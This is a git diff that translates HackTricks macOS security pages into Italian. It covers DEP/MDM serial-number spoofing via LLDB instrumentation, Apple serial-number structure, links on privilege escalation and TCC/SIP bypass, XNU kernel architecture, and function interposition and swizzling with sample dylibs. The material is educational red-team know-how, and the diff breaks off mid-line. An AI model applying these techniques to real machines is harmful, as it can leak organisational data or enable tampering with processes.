JSON firmato e crittografato a _iprofiles.apple.com/macProfile_. Il payload include il numero di serie del dispositivo e l'azione "RequestProfileConfiguration". Lo schema di crittografia utilizzato è internamente denominato "Absinthe". Svelare questo schema è complesso e comporta numerosi passaggi, il che ha portato a esplorare metodi alternativi per inserire numeri di serie arbitrari nella richiesta del Record di Attivazione. -## Proxying DEP Requests +## Proxying delle Richieste DEP -Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key. +I tentativi di intercettare e modificare le richieste DEP a _iprofiles.apple.com_ utilizzando strumenti come Charles Proxy sono stati ostacolati dalla crittografia del payload e dalle misure di sicurezza SSL/TLS. Tuttavia, abilitare la configurazione `MCCloudConfigAcceptAnyHTTPSCertificate` consente di bypassare la convalida del certificato del server, sebbene la natura crittografata del payload impedisca ancora la modifica del numero di serie senza la chiave di decrittazione. -## Instrumenting System Binaries Interacting with DEP +## Strumentazione dei Binari di Sistema che Interagiscono con DEP -Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing. +L'istrumentazione dei binari di sistema come `cloudconfigurationd` richiede di disabilitare la Protezione dell'Integrità di Sistema (SIP) su macOS. Con SIP disabilitato, strumenti come LLDB possono essere utilizzati per attaccarsi ai processi di sistema e potenzialmente modificare il numero di serie utilizzato nelle interazioni API DEP. Questo metodo è preferibile poiché evita le complessità delle autorizzazioni e della firma del codice. -**Exploiting Binary Instrumentation:** -Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved: +**Sfruttare l'Istrumentazione Binaria:** +Modificare il payload della richiesta DEP prima della serializzazione JSON in `cloudconfigurationd` si è rivelato efficace. Il processo ha comportato: -1. Attaching LLDB to `cloudconfigurationd`. -2. Locating the point where the system serial number is fetched. -3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent. +1. Attaccare LLDB a `cloudconfigurationd`. +2. Localizzare il punto in cui viene recuperato il numero di serie del sistema. +3. Iniettare un numero di serie arbitrario nella memoria prima che il payload venga crittografato e inviato. -This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability. +Questo metodo ha consentito di recuperare profili DEP completi per numeri di serie arbitrari, dimostrando una potenziale vulnerabilità. -### Automating Instrumentation with Python +### Automazione dell'Istrumentazione con Python -The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles. +Il processo di sfruttamento è stato automatizzato utilizzando Python con l'API LLDB, rendendo fattibile l'iniezione programmatica di numeri di serie arbitrari e il recupero dei corrispondenti profili DEP. -### Potential Impacts of DEP and MDM Vulnerabilities +### Potenziali Impatti delle Vulnerabilità di DEP e MDM -The research highlighted significant security concerns: +La ricerca ha evidenziato significative preoccupazioni per la sicurezza: -1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved. +1. **Divulgazione di Informazioni**: Fornendo un numero di serie registrato in DEP, è possibile recuperare informazioni sensibili dell'organizzazione contenute nel profilo DEP. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md index 4b373d774..6ea514bdb 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md @@ -2,39 +2,39 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information: +I dispositivi Apple post-2010 hanno numeri di serie composti da **12 caratteri alfanumerici**, ciascun segmento trasmette informazioni specifiche: -- **First 3 Characters**: Indicate the **manufacturing location**. -- **Characters 4 & 5**: Denote the **year and week of manufacture**. -- **Characters 6 to 8**: Serve as a **unique identifier** for each device. -- **Last 4 Characters**: Specify the **model number**. +- **Primi 3 Caratteri**: Indicano il **luogo di produzione**. +- **Caratteri 4 e 5**: Denotano l'**anno e la settimana di produzione**. +- **Caratteri 6 a 8**: Servono come **identificatore unico** per ciascun dispositivo. +- **Ultimi 4 Caratteri**: Specificano il **numero di modello**. -For instance, the serial number **C02L13ECF8J2** follows this structure. +Ad esempio, il numero di serie **C02L13ECF8J2** segue questa struttura. -### **Manufacturing Locations (First 3 Characters)** +### **Luoghi di Produzione (Primi 3 Caratteri)** -Certain codes represent specific factories: +Alcuni codici rappresentano fabbriche specifiche: -- **FC, F, XA/XB/QP/G8**: Various locations in the USA. -- **RN**: Mexico. -- **CK**: Cork, Ireland. -- **VM**: Foxconn, Czech Republic. +- **FC, F, XA/XB/QP/G8**: Varie località negli USA. +- **RN**: Messico. +- **CK**: Cork, Irlanda. +- **VM**: Foxconn, Repubblica Ceca. - **SG/E**: Singapore. -- **MB**: Malaysia. -- **PT/CY**: Korea. +- **MB**: Malesia. +- **PT/CY**: Corea. - **EE/QT/UV**: Taiwan. -- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China. -- **C0, C3, C7**: Specific cities in China. -- **RM**: Refurbished devices. +- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Diverse località in Cina. +- **C0, C3, C7**: Città specifiche in Cina. +- **RM**: Dispositivi ricondizionati. -### **Year of Manufacturing (4th Character)** +### **Anno di Produzione (4° Carattere)** -This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods. +Questo carattere varia da 'C' (che rappresenta la prima metà del 2010) a 'Z' (seconda metà del 2019), con lettere diverse che indicano diversi periodi di sei mesi. -### **Week of Manufacturing (5th Character)** +### **Settimana di Produzione (5° Carattere)** -Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number. +Le cifre 1-9 corrispondono alle settimane 1-9. Le lettere C-Y (escludendo le vocali e 'S') rappresentano le settimane 10-27. Per la seconda metà dell'anno, a questo numero viene aggiunto 26. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 7fa9d3ae9..b22b1bf22 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -1,33 +1,18 @@ -# macOS Security & Privilege Escalation +# Sicurezza macOS e Escalation dei Privilegi {{#include ../../banners/hacktricks-training.md}} -
+## MacOS di Base -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! +Se non sei familiare con macOS, dovresti iniziare a imparare le basi di macOS: -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - -## Basic MacOS - -If you are not familiar with macOS, you should start learning the basics of macOS: - -- Special macOS **files & permissions:** +- File e **permessi speciali di macOS:** {{#ref}} macos-files-folders-and-binaries/ {{#endref}} -- Common macOS **users** +- **Utenti comuni di macOS** {{#ref}} macos-users.md @@ -39,92 +24,92 @@ macos-users.md macos-applefs.md {{#endref}} -- The **architecture** of the k**ernel** +- L'**architettura** del k**ernel** {{#ref}} mac-os-architecture/ {{#endref}} -- Common macOS n**etwork services & protocols** +- Servizi e **protocolli di rete comuni di macOS** {{#ref}} macos-protocols.md {{#endref}} - **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) - - To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) +- Per scaricare un `tar.gz`, cambia un URL come [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) in [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) -### MacOS MDM +### MDM di MacOS -In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**: +Nelle aziende, i sistemi **macOS** saranno molto probabilmente **gestiti con un MDM**. Pertanto, dal punto di vista di un attaccante, è interessante sapere **come funziona**: {{#ref}} ../macos-red-teaming/macos-mdm/ {{#endref}} -### MacOS - Inspecting, Debugging and Fuzzing +### MacOS - Ispezione, Debugging e Fuzzing {{#ref}} macos-apps-inspecting-debugging-and-fuzzing/ {{#endref}} -## MacOS Security Protections +## Protezioni di Sicurezza di MacOS {{#ref}} macos-security-protections/ {{#endref}} -## Attack Surface +## Superficie di Attacco -### File Permissions +### Permessi dei File -If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\ -This could occur in the following situations: +Se un **processo in esecuzione come root scrive** un file che può essere controllato da un utente, l'utente potrebbe abusarne per **escalare i privilegi**.\ +Questo potrebbe verificarsi nelle seguenti situazioni: -- File used was already created by a user (owned by the user) -- File used is writable by the user because of a group -- File used is inside a directory owned by the user (the user could create the file) -- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file) +- Il file utilizzato era già stato creato da un utente (di proprietà dell'utente) +- Il file utilizzato è scrivibile dall'utente a causa di un gruppo +- Il file utilizzato si trova all'interno di una directory di proprietà dell'utente (l'utente potrebbe creare il file) +- Il file utilizzato si trova all'interno di una directory di proprietà di root ma l'utente ha accesso in scrittura su di essa a causa di un gruppo (l'utente potrebbe creare il file) -Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place. +Essere in grado di **creare un file** che sarà **utilizzato da root** consente a un utente di **sfruttare il suo contenuto** o persino creare **symlink/hardlink** per puntarlo in un altro posto. -For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**: +Per questo tipo di vulnerabilità non dimenticare di **controllare gli installer `.pkg` vulnerabili**: {{#ref}} macos-files-folders-and-binaries/macos-installers-abuse.md {{#endref}} -### File Extension & URL scheme app handlers +### Gestori di App per Estensioni di File e Schemi URL -Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols +App strane registrate da estensioni di file potrebbero essere abusate e diverse applicazioni possono essere registrate per aprire protocolli specifici {{#ref}} macos-file-extension-apps.md {{#endref}} -## macOS TCC / SIP Privilege Escalation +## Escalation dei Privilegi TCC / SIP di macOS -In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others. +In macOS, **le applicazioni e i binari possono avere permessi** per accedere a cartelle o impostazioni che li rendono più privilegiati di altri. -Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs). +Pertanto, un attaccante che desidera compromettere con successo una macchina macOS dovrà **escalare i suoi privilegi TCC** (o persino **bypassare SIP**, a seconda delle sue necessità). -These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**. +Questi privilegi sono solitamente concessi sotto forma di **diritti** con cui l'applicazione è firmata, oppure l'applicazione potrebbe richiedere alcuni accessi e dopo che il **utente li approva**, possono essere trovati nei **database TCC**. Un altro modo in cui un processo può ottenere questi privilegi è essendo un **figlio di un processo** con quei **privilegi**, poiché di solito sono **ereditati**. -Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses). +Segui questi link per trovare diversi modi per [**escalare i privilegi in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), per [**bypassare TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) e come in passato [**SIP è stato bypassato**](macos-security-protections/macos-sip.md#sip-bypasses). -## macOS Traditional Privilege Escalation +## Escalation Tradizionale dei Privilegi di macOS -Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints: +Certo, dal punto di vista di un red team, dovresti essere anche interessato a escalare a root. Controlla il seguente post per alcuni suggerimenti: {{#ref}} macos-privilege-escalation.md {{#endref}} -## macOS Compliance +## Conformità di macOS - [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security) -## References +## Riferimenti - [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) @@ -132,19 +117,4 @@ macos-privilege-escalation.md - [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ) - [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY) -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 306efd482..ae97366ec 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -4,36 +4,36 @@ ## XNU Kernel -The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**. +Il **nucleo di macOS è XNU**, che sta per "X is Not Unix". Questo kernel è fondamentalmente composto dal **microkernel Mach** (di cui si parlerà più avanti), **e** elementi dalla Berkeley Software Distribution (**BSD**). XNU fornisce anche una piattaforma per **driver del kernel tramite un sistema chiamato I/O Kit**. Il kernel XNU fa parte del progetto open source Darwin, il che significa che **il suo codice sorgente è liberamente accessibile**. -From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages. +Dal punto di vista di un ricercatore di sicurezza o di uno sviluppatore Unix, **macOS** può sembrare piuttosto **simile** a un sistema **FreeBSD** con un'interfaccia grafica elegante e una serie di applicazioni personalizzate. La maggior parte delle applicazioni sviluppate per BSD si compileranno e funzioneranno su macOS senza necessitare di modifiche, poiché gli strumenti da riga di comando familiari agli utenti Unix sono tutti presenti in macOS. Tuttavia, poiché il kernel XNU incorpora Mach, ci sono alcune differenze significative tra un sistema tradizionale simile a Unix e macOS, e queste differenze potrebbero causare problemi potenziali o fornire vantaggi unici. -Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) +Versione open source di XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) ### Mach -Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**. +Mach è un **microkernel** progettato per essere **compatibile con UNIX**. Uno dei suoi principi di design chiave era **minimizzare** la quantità di **codice** in esecuzione nello **spazio del kernel** e invece consentire a molte funzioni tipiche del kernel, come il file system, il networking e l'I/O, di **eseguire come attività a livello utente**. -In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management. +In XNU, Mach è **responsabile di molte delle operazioni critiche a basso livello** che un kernel gestisce tipicamente, come la pianificazione dei processori, il multitasking e la gestione della memoria virtuale. ### BSD -The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including: +Il **kernel** XNU **incorpora** anche una quantità significativa di codice derivato dal progetto **FreeBSD**. Questo codice **funziona come parte del kernel insieme a Mach**, nello stesso spazio di indirizzamento. Tuttavia, il codice FreeBSD all'interno di XNU può differire sostanzialmente dal codice FreeBSD originale perché sono state necessarie modifiche per garantire la sua compatibilità con Mach. FreeBSD contribuisce a molte operazioni del kernel, tra cui: -- Process management -- Signal handling -- Basic security mechanisms, including user and group management -- System call infrastructure -- TCP/IP stack and sockets -- Firewall and packet filtering +- Gestione dei processi +- Gestione dei segnali +- Meccanismi di sicurezza di base, inclusa la gestione di utenti e gruppi +- Infrastruttura delle chiamate di sistema +- Stack TCP/IP e socket +- Firewall e filtraggio dei pacchetti -Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure. +Comprendere l'interazione tra BSD e Mach può essere complesso, a causa dei loro diversi quadri concettuali. Ad esempio, BSD utilizza i processi come unità fondamentale di esecuzione, mentre Mach opera basandosi sui thread. Questa discrepanza è riconciliata in XNU **associando ogni processo BSD a un'attività Mach** che contiene esattamente un thread Mach. Quando viene utilizzata la chiamata di sistema fork() di BSD, il codice BSD all'interno del kernel utilizza le funzioni Mach per creare una struttura di attività e thread. -Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel. +Inoltre, **Mach e BSD mantengono ciascuno modelli di sicurezza diversi**: il modello di sicurezza di **Mach** si basa sui **diritti di porta**, mentre il modello di sicurezza di BSD opera in base alla **proprietà del processo**. Le disparità tra questi due modelli hanno occasionalmente portato a vulnerabilità di escalation dei privilegi locali. Oltre alle chiamate di sistema tipiche, ci sono anche **trappole Mach che consentono ai programmi in spazio utente di interagire con il kernel**. Questi diversi elementi insieme formano l'architettura ibrida e multifaccettata del kernel macOS. ### I/O Kit - Drivers -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. +L'I/O Kit è un framework **per driver di dispositivo** open-source e orientato agli oggetti nel kernel XNU, gestisce **driver di dispositivo caricati dinamicamente**. Consente di aggiungere codice modulare al kernel al volo, supportando hardware diversificato. {{#ref}} macos-iokit.md @@ -47,9 +47,9 @@ macos-iokit.md ## macOS Kernel Extensions -macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found). +macOS è **super restrittivo nel caricare le Kernel Extensions** (.kext) a causa dei privilegi elevati con cui il codice verrà eseguito. In realtà, per impostazione predefinita è praticamente impossibile (a meno che non venga trovato un bypass). -In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**: +Nella pagina seguente puoi anche vedere come recuperare il `.kext` che macOS carica all'interno del suo **kernelcache**: {{#ref}} macos-kernel-extensions.md @@ -57,7 +57,7 @@ macos-kernel-extensions.md ### macOS System Extensions -Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions. +Invece di utilizzare le Kernel Extensions, macOS ha creato le System Extensions, che offrono API a livello utente per interagire con il kernel. In questo modo, gli sviluppatori possono evitare di utilizzare le kernel extensions. {{#ref}} macos-system-extensions.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index 424ed20b7..e6f555773 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -2,54 +2,49 @@ {{#include ../../../banners/hacktricks-training.md}} -## Function Interposing +## Interposizione delle Funzioni -Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions. +Crea un **dylib** con una sezione **`__interpose`** (o una sezione contrassegnata con **`S_INTERPOSING`**) contenente tuple di **puntatori a funzioni** che si riferiscono alle funzioni **originali** e di **sostituzione**. -Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions). +Poi, **inietta** il dylib con **`DYLD_INSERT_LIBRARIES`** (l'interposizione deve avvenire prima che l'app principale si carichi). Ovviamente, le [**restrizioni** applicate all'uso di **`DYLD_INSERT_LIBRARIES`** si applicano anche qui](../macos-proces-abuse/macos-library-injection/#check-restrictions). -### Interpose printf +### Interponi printf {{#tabs}} {{#tab name="interpose.c"}} - ```c:interpose.c // gcc -dynamiclib interpose.c -o interpose.dylib #include #include int my_printf(const char *format, ...) { - //va_list args; - //va_start(args, format); - //int ret = vprintf(format, args); - //va_end(args); +//va_list args; +//va_start(args, format); +//int ret = vprintf(format, args); +//va_end(args); - int ret = printf("Hello from interpose\n"); - return ret; +int ret = printf("Hello from interpose\n"); +return ret; } __attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; ``` - {{#endtab}} {{#tab name="hello.c"}} - ```c //gcc hello.c -o hello #include int main() { - printf("Hello World!\n"); - return 0; +printf("Hello World!\n"); +return 0; } ``` - {{#endtab}} {{#tab name="interpose2.c"}} - ```c // Just another way to define an interpose // gcc -dynamiclib interpose2.c -o interpose2.dylib @@ -57,26 +52,24 @@ int main() { #include #define DYLD_INTERPOSE(_replacement, _replacee) \ - __attribute__((used)) static struct { \ - const void* replacement; \ - const void* replacee; \ - } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ - (const void*) (unsigned long) &_replacement, \ - (const void*) (unsigned long) &_replacee \ - }; +__attribute__((used)) static struct { \ +const void* replacement; \ +const void* replacee; \ +} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ +(const void*) (unsigned long) &_replacement, \ +(const void*) (unsigned long) &_replacee \ +}; int my_printf(const char *format, ...) { - int ret = printf("Hello from interpose\n"); - return ret; +int ret = printf("Hello from interpose\n"); +return ret; } DYLD_INTERPOSE(my_printf,printf); ``` - {{#endtab}} {{#endtabs}} - ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello Hello from interpose @@ -84,24 +77,22 @@ Hello from interpose DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello Hello from interpose ``` - ## Method Swizzling -In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** +In ObjectiveC questo è come viene chiamato un metodo: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** -It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` +È necessario l'**oggetto**, il **metodo** e i **parametri**. E quando un metodo viene chiamato, un **msg viene inviato** utilizzando la funzione **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` -The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**. +L'oggetto è **`someObject`**, il metodo è **`@selector(method1p1:p2:)`** e gli argomenti sono **value1**, **value2**. -Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**. +Seguendo le strutture degli oggetti, è possibile raggiungere un'**array di metodi** dove i **nomi** e i **puntatori** al codice del metodo sono **localizzati**. > [!CAUTION] -> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov ` or [`class-dump `](https://github.com/nygard/class-dump) +> Nota che poiché i metodi e le classi vengono accessi in base ai loro nomi, queste informazioni sono memorizzate nel binario, quindi è possibile recuperarle con `otool -ov ` o [`class-dump `](https://github.com/nygard/class-dump) ### Accessing the raw methods -It's possible to access the information of the methods such as name, number of params or address like in the following example: - +È possibile accedere alle informazioni dei metodi come nome, numero di parametri o indirizzo come nel seguente esempio: ```objectivec // gcc -framework Foundation test.m -o test @@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p #import int main() { - // Get class of the variable - NSString* str = @"This is an example"; - Class strClass = [str class]; - NSLog(@"str's Class name: %s", class_getName(strClass)); +// Get class of the variable +NSString* str = @"This is an example"; +Class strClass = [str class]; +NSLog(@"str's Class name: %s", class_getName(strClass)); - // Get parent class of a class - Class strSuper = class_getSuperclass(strClass); - NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); +// Get parent class of a class +Class strSuper = class_getSuperclass(strClass); +NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); - // Get information about a method - SEL sel = @selector(length); - NSLog(@"Selector name: %@", NSStringFromSelector(sel)); - Method m = class_getInstanceMethod(strClass,sel); - NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); - NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); +// Get information about a method +SEL sel = @selector(length); +NSLog(@"Selector name: %@", NSStringFromSelector(sel)); +Method m = class_getInstanceMethod(strClass,sel); +NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); +NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); - // Iterate through the class hierarchy - NSLog(@"Listing methods:"); - Class currentClass = strClass; - while (currentClass != NULL) { - unsigned int inheritedMethodCount = 0; - Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); +// Iterate through the class hierarchy +NSLog(@"Listing methods:"); +Class currentClass = strClass; +while (currentClass != NULL) { +unsigned int inheritedMethodCount = 0; +Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); - NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); +NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); - for (unsigned int i = 0; i < inheritedMethodCount; i++) { - Method method = inheritedMethods[i]; - SEL selector = method_getName(method); - const char* methodName = sel_getName(selector); - unsigned long address = (unsigned long)method_getImplementation(m); - NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); - } +for (unsigned int i = 0; i < inheritedMethodCount; i++) { +Method method = inheritedMethods[i]; +SEL selector = method_getName(method); +const char* methodName = sel_getName(selector); +unsigned long address = (unsigned long)method_getImplementation(m); +NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); +} - // Free the memory allocated by class_copyMethodList - free(inheritedMethods); - currentClass = class_getSuperclass(currentClass); - } +// Free the memory allocated by class_copyMethodList +free(inheritedMethods); +currentClass = class_getSuperclass(currentClass); +} - // Other ways to call uppercaseString method - if([str respondsToSelector:@selector(uppercaseString)]) { - NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; - NSLog(@"Uppercase string: %@", uppercaseString); - } +// Other ways to call uppercaseString method +if([str respondsToSelector:@selector(uppercaseString)]) { +NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; +NSLog(@"Uppercase string: %@", uppercaseString); +} - // Using objc_msgSend directly - NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); - NSLog(@"Uppercase string: %@", uppercaseString2); +// Using objc_msgSend directly +NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); +NSLog(@"Uppercase string: %@", uppercaseString2); - // Calling the address directly - IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address - NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp - NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method - NSLog(@"Uppercase string: %@", uppercaseString3); +// Calling the address directly +IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address +NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp +NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method +NSLog(@"Uppercase string: %@", 